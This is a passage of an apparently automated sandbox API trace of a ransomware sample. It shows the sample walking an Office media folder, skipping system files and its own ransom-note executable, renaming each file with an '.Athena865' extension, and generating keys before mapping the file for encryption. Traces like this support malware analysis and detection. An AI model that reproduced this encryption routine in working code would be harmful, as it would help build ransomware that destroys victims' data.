hHeap=0x4f0000) returned 1 [0139.087] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.087] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0911500, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0911500, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x15ea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0293828.WMF", cAlternateFileName="")) returned 1 [0139.087] lstrcmpiW (lpString1="J0293828.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.087] lstrcmpiW (lpString1="J0293828.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.087] lstrcmpiW (lpString1="J0293828.WMF", lpString2=".") returned 1 [0139.087] lstrcmpiW (lpString1="J0293828.WMF", lpString2="..") returned 1 [0139.087] lstrcmpiW (lpString1="J0293828.WMF", lpString2="windows") returned -1 [0139.087] lstrcmpiW (lpString1="J0293828.WMF", lpString2="bootmgr") returned 1 [0139.087] lstrcmpiW (lpString1="J0293828.WMF", lpString2="temp") returned -1 [0139.087] lstrcmpiW (lpString1="J0293828.WMF", lpString2="pagefile.sys") returned -1 [0139.087] lstrcmpiW (lpString1="J0293828.WMF", lpString2="boot") returned 1 [0139.087] lstrcmpiW (lpString1="J0293828.WMF", lpString2="ids.txt") returned 1 [0139.087] lstrcmpiW (lpString1="J0293828.WMF", lpString2="ntuser.dat") returned -1 [0139.087] lstrcmpiW (lpString1="J0293828.WMF", lpString2="perflogs") returned -1 [0139.087] lstrcmpiW (lpString1="J0293828.WMF", lpString2="MSBuild") returned -1 [0139.087] lstrlenW (lpString="J0293828.WMF") returned 12 [0139.087] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0293828.WMF" | out: lpString1="J0293828.WMF") returned="J0293828.WMF" [0139.087] lstrlenW (lpString="J0293828.WMF") returned 12 [0139.087] lstrlenW (lpString="Athena865") returned 9 [0139.087] lstrcmpiW (lpString1="93828.WMF", lpString2="Athena865") returned -1 [0139.087] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF.Athena865") returned 71 [0139.087] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf.athena865"), dwFlags=0x1) returned 1 [0139.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.090] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5610) returned 1 [0139.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.090] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.090] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.091] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.091] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.091] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18f0, lpName=0x0) returned 0x154 [0139.093] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18f0) returned 0x100000 [0139.094] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.094] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.094] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.094] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.094] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.095] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.095] CloseHandle (hObject=0x154) returned 1 [0139.095] CloseHandle (hObject=0x17c) returned 1 [0139.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.096] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7b82300, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7b82300, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x812, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0293844.WMF", cAlternateFileName="")) returned 1 [0139.096] lstrcmpiW (lpString1="J0293844.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.096] lstrcmpiW (lpString1="J0293844.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.096] lstrcmpiW (lpString1="J0293844.WMF", lpString2=".") returned 1 [0139.096] lstrcmpiW (lpString1="J0293844.WMF", lpString2="..") returned 1 [0139.096] lstrcmpiW (lpString1="J0293844.WMF", lpString2="windows") returned -1 [0139.096] lstrcmpiW (lpString1="J0293844.WMF", lpString2="bootmgr") returned 1 [0139.096] lstrcmpiW (lpString1="J0293844.WMF", lpString2="temp") returned -1 [0139.096] lstrcmpiW (lpString1="J0293844.WMF", lpString2="pagefile.sys") returned -1 [0139.096] lstrcmpiW (lpString1="J0293844.WMF", lpString2="boot") returned 1 [0139.096] lstrcmpiW (lpString1="J0293844.WMF", lpString2="ids.txt") returned 1 [0139.096] lstrcmpiW (lpString1="J0293844.WMF", lpString2="ntuser.dat") returned -1 [0139.096] lstrcmpiW (lpString1="J0293844.WMF", lpString2="perflogs") returned -1 [0139.096] lstrcmpiW (lpString1="J0293844.WMF", lpString2="MSBuild") returned -1 [0139.096] lstrlenW (lpString="J0293844.WMF") returned 12 [0139.096] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0293844.WMF" | out: lpString1="J0293844.WMF") returned="J0293844.WMF" [0139.096] lstrlenW (lpString="J0293844.WMF") returned 12 [0139.096] lstrlenW (lpString="Athena865") returned 9 [0139.096] lstrcmpiW (lpString1="93844.WMF", lpString2="Athena865") returned -1 [0139.096] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF.Athena865") returned 71 [0139.096] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf.athena865"), dwFlags=0x1) returned 1 [0139.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.098] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2066) returned 1 [0139.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.098] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.099] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.099] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.099] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb20, lpName=0x0) returned 0x154 [0139.100] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb20) returned 0x100000 [0139.103] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.104] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.104] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.104] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.104] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.105] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.105] CloseHandle (hObject=0x154) returned 1 [0139.105] CloseHandle (hObject=0x17c) returned 1 [0139.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.105] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.105] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72dc8d00, ftCreationTime.dwHighDateTime=0x1bf0891, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72dc8d00, ftLastWriteTime.dwHighDateTime=0x1bf0891, nFileSizeHigh=0x0, nFileSizeLow=0x29e5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0295241.GIF", cAlternateFileName="")) returned 1 [0139.105] lstrcmpiW (lpString1="J0295241.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.105] lstrcmpiW (lpString1="J0295241.GIF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.105] lstrcmpiW (lpString1="J0295241.GIF", lpString2=".") returned 1 [0139.105] lstrcmpiW (lpString1="J0295241.GIF", lpString2="..") returned 1 [0139.105] lstrcmpiW (lpString1="J0295241.GIF", lpString2="windows") returned -1 [0139.105] lstrcmpiW (lpString1="J0295241.GIF", lpString2="bootmgr") returned 1 [0139.105] lstrcmpiW (lpString1="J0295241.GIF", lpString2="temp") returned -1 [0139.105] lstrcmpiW (lpString1="J0295241.GIF", lpString2="pagefile.sys") returned -1 [0139.105] lstrcmpiW (lpString1="J0295241.GIF", lpString2="boot") returned 1 [0139.105] lstrcmpiW (lpString1="J0295241.GIF", lpString2="ids.txt") returned 1 [0139.105] lstrcmpiW (lpString1="J0295241.GIF", lpString2="ntuser.dat") returned -1 [0139.106] lstrcmpiW (lpString1="J0295241.GIF", lpString2="perflogs") returned -1 [0139.106] lstrcmpiW (lpString1="J0295241.GIF", lpString2="MSBuild") returned -1 [0139.106] lstrlenW (lpString="J0295241.GIF") returned 12 [0139.106] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0295241.GIF" | out: lpString1="J0295241.GIF") returned="J0295241.GIF" [0139.106] lstrlenW (lpString="J0295241.GIF") returned 12 [0139.106] lstrlenW (lpString="Athena865") returned 9 [0139.106] lstrcmpiW (lpString1="95241.GIF", lpString2="Athena865") returned -1 [0139.106] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF.Athena865") returned 71 [0139.106] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif.athena865"), dwFlags=0x1) returned 1 [0139.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.107] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10725) returned 1 [0139.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.108] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.109] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.109] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.109] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2cf0, lpName=0x0) returned 0x154 [0139.111] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2cf0) returned 0x100000 [0139.111] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.112] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.112] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.112] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.113] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.113] CloseHandle (hObject=0x154) returned 1 [0139.113] CloseHandle (hObject=0x17c) returned 1 [0139.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.113] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.114] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4c2400, ftCreationTime.dwHighDateTime=0x1bf2c95, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b4c2400, ftLastWriteTime.dwHighDateTime=0x1bf2c95, nFileSizeHigh=0x0, nFileSizeLow=0xcd52, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0297185.WMF", cAlternateFileName="")) returned 1 [0139.114] lstrcmpiW (lpString1="J0297185.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.114] lstrcmpiW (lpString1="J0297185.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.114] lstrcmpiW (lpString1="J0297185.WMF", lpString2=".") returned 1 [0139.114] lstrcmpiW (lpString1="J0297185.WMF", lpString2="..") returned 1 [0139.114] lstrcmpiW (lpString1="J0297185.WMF", lpString2="windows") returned -1 [0139.114] lstrcmpiW (lpString1="J0297185.WMF", lpString2="bootmgr") returned 1 [0139.114] lstrcmpiW (lpString1="J0297185.WMF", lpString2="temp") returned -1 [0139.114] lstrcmpiW (lpString1="J0297185.WMF", lpString2="pagefile.sys") returned -1 [0139.114] lstrcmpiW (lpString1="J0297185.WMF", lpString2="boot") returned 1 [0139.114] lstrcmpiW (lpString1="J0297185.WMF", lpString2="ids.txt") returned 1 [0139.114] lstrcmpiW (lpString1="J0297185.WMF", lpString2="ntuser.dat") returned -1 [0139.114] lstrcmpiW (lpString1="J0297185.WMF", lpString2="perflogs") returned -1 [0139.114] lstrcmpiW (lpString1="J0297185.WMF", lpString2="MSBuild") returned -1 [0139.114] lstrlenW (lpString="J0297185.WMF") returned 12 [0139.114] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0297185.WMF" | out: lpString1="J0297185.WMF") returned="J0297185.WMF" [0139.114] lstrlenW (lpString="J0297185.WMF") returned 12 [0139.114] lstrlenW (lpString="Athena865") returned 9 [0139.114] lstrcmpiW (lpString1="97185.WMF", lpString2="Athena865") returned -1 [0139.114] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF.Athena865") returned 71 [0139.114] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf.athena865"), dwFlags=0x1) returned 1 [0139.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.116] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=52562) returned 1 [0139.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0139.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0139.116] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0139.116] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0139.117] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.117] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.117] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd060, lpName=0x0) returned 0x154 [0139.119] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd060) returned 0x100000 [0139.121] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0139.122] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.122] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0139.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0139.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0139.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0139.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0139.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0139.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0139.122] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0139.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0139.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0139.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0139.123] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0139.123] CloseHandle (hObject=0x154) returned 1 [0139.123] CloseHandle (hObject=0x17c) returned 1 [0139.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0139.123] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0139.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0139.124] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74beac00, ftCreationTime.dwHighDateTime=0x1bf2c97, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74beac00, ftLastWriteTime.dwHighDateTime=0x1bf2c97, nFileSizeHigh=0x0, nFileSizeLow=0x6db8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0297551.WMF", cAlternateFileName="")) returned 1 [0139.124] lstrcmpiW (lpString1="J0297551.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0139.124] lstrcmpiW (lpString1="J0297551.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0139.124] lstrcmpiW (lpString1="J0297551.WMF", lpString2=".") returned 1 [0139.124] lstrcmpiW (lpString1="J0297551.WMF", lpString2="..") returned 1 [0139.124] lstrcmpiW (lpString1="J0297551.WMF", lpString2="windows") returned -1 [0139.124] lstrcmpiW (lpString1="J0297551.WMF", lpString2="bootmgr") returned 1 [0139.124] lstrcmpiW (lpString1="J0297551.WMF", lpString2="temp") returned -1 [0139.124] lstrcmpiW (lpString1="J0297551.WMF", lpString2="pagefile.sys") returned -1 [0139.124] lstrcmpiW (lpString1="J0297551.WMF", lpString2="boot") returned 1 [0139.124] lstrcmpiW (lpString1="J0297551.WMF", lpString2="ids.txt") returned 1 [0139.124] lstrcmpiW (lpString1="J0297551.WMF", lpString2="ntuser.dat") returned -1 [0139.124] lstrcmpiW (lpString1="J0297551.WMF", lpString2="perflogs") returned -1 [0139.124] lstrcmpiW (lpString1="J0297551.WMF", lpString2="MSBuild") returned -1 [0139.124] lstrlenW (lpString="J0297551.WMF") returned 12 [0139.124] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0297551.WMF" | out: lpString1="J0297551.WMF") returned="J0297551.WMF" [0139.124] lstrlenW (lpString="J0297551.WMF") returned 12 [0139.125] lstrlenW (lpString="Athena865") returned 9 [0139.125] lstrcmpiW (lpString1="97551.WMF", lpString2="Athena865") returned -1 [0139.125] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297551.WMF.Athena865") returned 71 [0139.125] 